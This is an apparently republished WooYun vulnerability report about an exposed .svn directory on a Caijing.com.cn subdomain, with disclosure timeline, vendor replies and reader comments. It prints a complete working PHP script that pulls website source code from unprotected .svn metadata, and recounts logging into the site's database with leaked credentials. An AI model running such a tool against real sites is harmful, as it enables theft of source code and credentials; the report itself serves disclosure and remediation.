财经网某处SVN泄露到可被渗透 admin 139803文章 114评论 2015年8月15日23:26:59评论296 views字数 198阅读0分39秒阅读模式 摘要2014-11-19: 细节已通知厂商并且等待厂商处理中 2014-11-20: 厂商已经确认,细节仅向厂商公开 2014-11-30: 细节向核心白帽子及相关领域专家公开 2014-12-10: 细节向普通白帽子公开 2014-12-20: 细节向实习白帽子公开 2015-01-03: 细节向公众公开 漏洞概要 关注数(12) 关注此漏洞 缺陷编号: WooYun-2014-83894 漏洞标题: 财经网某处SVN泄露到可被渗透 相关厂商: 财经网 漏洞作者: Mr .LZH 提交时间: 2014-11-19 19:48 公开时间: 2015-01-03 19:50 漏洞类型: 应用配置错误 危害等级: 高 自评Rank: 20 漏洞状态: 厂商已经确认 漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系 Tags标签: 无 0人收藏 漏洞详情 披露状态: 2014-11-19: 细节已通知厂商并且等待厂商处理中 2014-11-20: 厂商已经确认,细节仅向厂商公开 2014-11-30: 细节向核心白帽子及相关领域专家公开 2014-12-10: 细节向普通白帽子公开 2014-12-20: 细节向实习白帽子公开 2015-01-03: 细节向公众公开 简要描述: 财经网某处SVN泄露到裤子脱落 详细说明: 漏洞地址:http://service.caijing.com.cn/.svn/entries 看财经网审核人员对svn泄露的认识不够,以为svn泄露没什么影响,其实危害很大。 我总结了一下svn信息泄露有2点重大危害。 1.泄露svn地址和用户信息,通过爆破可控制svn权限。 2.获取上一次svn操作为止的网站源码。 使用下面的脚步可以通过SVN泄露获取网站源码。 code 区域 #!/usr/bin/php -q <?php /** * 本脚本用于下载.svn目录未作权限限制的网站源码,适用于现有的各种svn版本. * 请用php5.3+来运行本脚本.想支持更低版本,请自行修改源码.不必通知我. * 作者: * http://蛋疼.com * changelog: * 2.1 2012-3-28 * .svn不成功时尝试使用_svn目录 * * 2.0 2012-3-28 * 增加了蓝色小药丸可读取最新的svn 1.7+ * 目前人世间常见的svn版本都可以打劫了 * * 1.0 2012-3-22 * 初始版本,适用于svn 1.4~1.6 * 更低版本手头没有,无法检验 */ #错误报告级别,只报告错误 error_reporting(E_ERROR); #要显示错误 ini_set('display_errors','On'); define('VERSION', '2.1'); ini_set('user_agent','svn_clone(svn_clone v'.VERSION.'; by ; http://蛋疼.com)'); #缓存目录,最好放在tmpfs上,我没做过缓存期的设置,所以想真正重新抓一次就必须手工删缓存目录 define('CACHE_DIR', '/tmp/cache'); #代码要保存到的路径,不同域名会自动分目录存放的 define('DATA_DIR', '/data/src'); #调试信息级别 define('NONE', 0);#无条件报告 define('ERROR', 1);#错误 define('WARNING', 2);#警告 define('ALL', 3);#全部 define('EGGACHE', 4);#蛋疼 #获取参数 $opts = getopt('u:chv',array('url:','color','help','verbose')); #获取传入的URL地址 $url = $opts['url']?:($opts['u']?:null); #是否显示帮助 $help = isset($opts['h'])+isset($opts['help']); #是否使用颜色 define('USECOLOR', isset($opts['c'])+isset($opts['color'])); #调试信息级别,v越多越详细,最多接受3个v, 函数内用,懒得写global,定义成常量吧. define('VERBOSE', count($opts['v'])+count($opts['verbose'])); #本程序的名字,额,我不知道这个写法是否兼容别的shell.反正bash下用它判断是没错的 $cmd = basename($_SERVER['_'])=='php'?'php '.$_SERVER['PHP_SELF']:$_SERVER['_']; if($help or !$url) { die("Usage:/t$cmd option /n". "/t-u --url/turl/t您想要通过svn克隆的网站url/n". "/t-c --color/t/t使用控制台色彩输出/n". "/t-v --verbose/t/t打印更多的详细信息,v越多越详细/n". "/t-h --help/t/t本帮助信息/n". "Examples:/n". "/t$cmd -u http://localhost/n". "/t$cmd -u http://localhost -cvv/n". "/t$cmd -vu http://localhost/n". "/t$cmd -cvvu http://localhost/n". "/t$cmd --url http://localhost --color --verbose --verbose --verbose 有人勤奋到使用这种格式咩?! Orz./n" ); } #我真是蛋疼...写这行干啥呢... debug("蛋疼是一种病,要淡定,不要蛋疼.../n", EGGACHE); #发现有的站用_svn目录来代替.svn目录,针对这种现象,程序做一点改进,尝试两种方式 #但是遇到混合使用.svn和_svn的精神病目录就不好办了。 #我不想把程序改的那么恶心,就先这样吧。够正常人用了。 foreach(array('/.svn/','/_svn/') as $svn_dir) { #只有在.svn不成功的情况下才会尝试其它形式的svn目录 if(svn_clone($url))break; } #本程序的主函数 function svn_clone($url) { global $svn_dir; #去除多余的url结尾多余的斜杠 $url=trim($url,'/'); $entries_url = $url.$svn_dir.'entries'; $content = get($entries_url); if($content===false) { return debug("$url 不是一个合法的svn工作副本!/n", ERROR); } elseif(strlen($content)<10) { #return debug("某个东西太短了,需要蓝色的小药丸!/n", ERROR); #蓝色小药丸 for svn 1.7+ debug("尝试使用蓝色的小药丸来读取svn 1.7+的工作副本数据库/n", ALL); class_exists('SQLite3') or die("蓝色小药丸需要sqlite3扩展,请安装后再试.../r/n"); $wcdb_url = $url.$svn_dir.'wc.db'; $content = get($wcdb_url); if($content===false) { debug("$wcdb_url 不是一个合法的sqlite数据库文件!/n", ERROR); return; } #怕wc.db重名,给它生成一个不容易重复的名字,稍后自动删除它. $db_file = put(uniqid($url.'/temp.db.'),$content); register_shutdown_function('unlink', $db_file); $db = new SQLite3($db_file, SQLITE3_OPEN_READWRITE); $sql = 'select local_relpath as path,checksum as hash from nodes where kind="file"'; $res = $db->query($sql); if($res===false) { $errmsg = $db->lastErrorMsg(); debug("查询语句 $sql 错误: $errmsg/n", ERROR); return; } while($row = $res->fetchArray()) { #根据数据库里存的哈希值拼出svn-base文件路径 #哈希值看起来是这样的$sha1$a096870b5e1dc28aa8cea62238dc12c199a8ac8c $hash = substr(strrchr($row['hash'],'$'),1); $sub = $hash[0].$hash[1]; $svn_base = $url.$svn_dir.'pristine/'.$sub.'/'.$hash.'.svn-base'; $content = get($svn_base); put($url.'/'.$row['path'],$content); } return; } #匹配出entries中的文件和目录名 preg_match_all('//f/n([^/n]+?)/s(/w+)/s/s', $content, $m) or debug("$entries_url 不包含文件或子目录/n", WARNING); $files = array_combine($m[1], $m[2]); foreach($files as $file=>$type) { if($type=='dir') { debug(">>> 进入 $file 目录/n", ALL); svn_clone($url.'/'.$file); debug("<<< 退出 $file 目录/n", ALL); } elseif($type=='file') { debug("*** 下载 $file 文件/n", ALL); fetch($url.$svn_dir.'text-base/'.$file.'.svn-base'); } } } #抓取并保存 function fetch($text_base){ put($text_base, get($text_base)); } #带缓存的抓取 function get($url) { global $svn_dir; $file = CACHE_DIR.'/'.chunk_split(substr(md5($url),0,6),2,'/').urlencode($url); $dir = dirname($file); if(!is_dir($dir)) { mkdir($dir,0777,true); } debug("读取 {$url} 内容/n", ALL); if(!file_exists($file)) { $content = file_get_contents($url) or debug("读取 {$url} 内容为空/n", WARNING); if($content) { file_put_contents($file, $content) or debug("写入 {$file} 内容为空/n", WARNING); } } else { $content = file_get_contents($file) or debug("读缓存 {$file} 内容为空/n", WARNING); } return $content; } #保存到数据目录 function put($url, $content='') { global $svn_dir; $file = DATA_DIR.substr(strchr($url,'://'),2); #改变了目录取法,适应不带.svn的路径,以前那三个dirname太傻了 $dir = strpos($file,$svn_dir)?substr($file,0,strpos($file, $svn_dir)):dirname($file); $file = basename($file,'.svn-base'); #看看你那什么有多长? $len = strlen($content); if(!is_dir($dir)) { debug("目录 {$dir} 不存在,自动创建/n", ALL); mkdir($dir,0777,true); } debug("写入 $file 到 $dir ($len bytes)/n", ALL); file_put_contents($dir.'/'.$file, $content) or debug("写入 {$file} 内容为空/n", WARNING); //返回保存之后的文件路径 return $dir.'/'.$file; } #打印调试信息 function debug($msg, $level=0) { #颜色定义 0:灰, 1:红, 2:绿, 3:黄, 4:蓝, 5:粉, 6:青, 7:白 static $colors = array(NONE=>0, ERROR=>1, WARNING=>2, ALL=>3, EGGACHE=>4); VERBOSE>=$level && (USECOLOR?printf("/033[1;3{$colors[$level]}m$msg/033[m", $color, $msg):print $msg); } #EOF 通过svn获取到源码后,一方面可以做源码审计,看是否存在漏洞进一步攻击。 另一方面,可以查看敏感信息加以利用。 以从service.caijing.com.cn获取到的源码为例,我获取到数据库配置信息。 我尝试登陆,居然允许任意ip登陆,且用户权限和root相差无几。 为避免对生产环节产生影响,在此停下,不进一步提权。 漏洞证明: 修复方案: 1.删除所有svn泄露信息 2.限制数据库用户登陆ip 3.降低数据库用户权限 版权声明:转载请注明来源 Mr .LZH@乌云 漏洞回应 厂商回应: 危害等级:中 漏洞Rank:7 确认时间:2014-11-20 15:54 厂商回复: 非常感谢白帽子,测试当中提到的那个库的地址,麻烦私信给我,我们好像没有这个地址,59.188.。。。,再次感谢对我们的帮助。 最新状态: 暂无 漏洞评价: 对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值 漏洞评价(共0人评价): 登陆后才能进行评分 评价 2014-11-19 20:51 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...) 1 脱落...是你扒了吧 1# 回复此人 2014-11-19 21:03 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 看人生万般无奈,看世间千姿百态...) 1 财经网早就被做菠菜了。。。。 2# 回复此人 2014-11-20 16:00 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:19 | 么么哒,呵呵哒,么蛤蛤~) 1 泄露到裤子脱落。。。。。。。。。。。。还好我够胖,不用裤腰带也不会自己脱落 3# 回复此人 2014-11-20 16:56 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···) 1 @财经网 数据库全都拿下,居然7rank。数据库地址自己去找,找不到就不要来管理乌云厂商账号 4# 回复此人 2014-11-24 15:31 | 财经网(乌云厂商) 1 @Mr .LZH 兄弟是不是真的搞错了,我们数据库都是内网访问的,有限制啊,而且你给出的那个公网IP不是我们的地址,希望可以得到你的帮助,我技术不行,望直言相告,再次感谢您对我们网站的安全检测,下次rank都给满分吧。 5# 回复此人 2015-01-03 20:20 | sutdy ( 普通白帽子 | Rank:113 漏洞数:37 | 0.0) 1 @Mr .LZH 厂商的态度不错 还是给他吧 6# 回复此人 免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。 点赞 https://cn-sec.com/archives/38656.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论